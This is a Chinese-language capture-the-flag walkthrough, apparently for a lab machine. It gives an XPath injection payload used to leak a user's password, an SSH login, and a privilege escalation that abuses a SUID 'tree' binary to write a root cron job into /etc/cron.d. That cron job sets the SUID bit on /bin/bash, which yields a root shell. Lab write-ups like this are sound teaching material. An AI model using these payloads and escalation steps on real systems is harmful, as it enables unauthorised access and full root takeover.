开始dirsearch,fscan都没扫到什么东西,然后上了bp
发现是xpath注入
?username=24065086'%20or%20true()%20or%20''%3D'
可以看到yolo的密码了
ssh登录进去。
cat /home/yolo/user.txt
提权
linpeas跑一遍,发现一个tree文件正好它被设置了 SUID,同时又和题目名一样
发现有很多参数,
--fromfile可以直接读flag
还有-o输出到文件而不是标准输出(翻译的别介意)。
但后面写入文件的时候发现会多一个[error opening dir]内容
还想着往passwd里面写入呢不知道为啥。使用#注释后面的[error opening dir]也没用
ps aux查看进程可以发现一个cron进程
在所有主流的Linux发行版中, cron 服务它是一个系统级的任务调度器。为了执行系统维护、日志轮替、更新检查等需要高权限的操作, cron 守护进程( crond )本身就是以 root 身份运行的。当它读取 /etc/cron.d/ 目录下的配置文件时,它会按照文件内指定的用户名来执行相应的命令。
/bin/tree '* * * * * root sh -c "chmod u+s /bin/bash" #' --noreport -o /etc/cron.d/root-shell
#前五个 * :这是时间字段,代表“每分钟”。
#在系统级的 cron 文件中(比如 /etc/cron.d/ 里的文件),第六个字段就是
用来指定执行该命令的用户名 。我们在这里明确地写下了 root ,
就是在告诉 cron 服务:“请用 root 用户的身份来运行接下来的命令。” 如果我们在这里写 yolo ,
那么命令就会以 yolo 用户的身份执行。
sh -c "chmod u+s /bin/bash" :这是要执行的具体命令
# :这是我们用来处理掉 tree 附加垃圾信息的注释符。
echo "正在等待 cron 任务执行,请稍候约一分钟..." && sleep 65
/bin/bash
cat /root/root.txt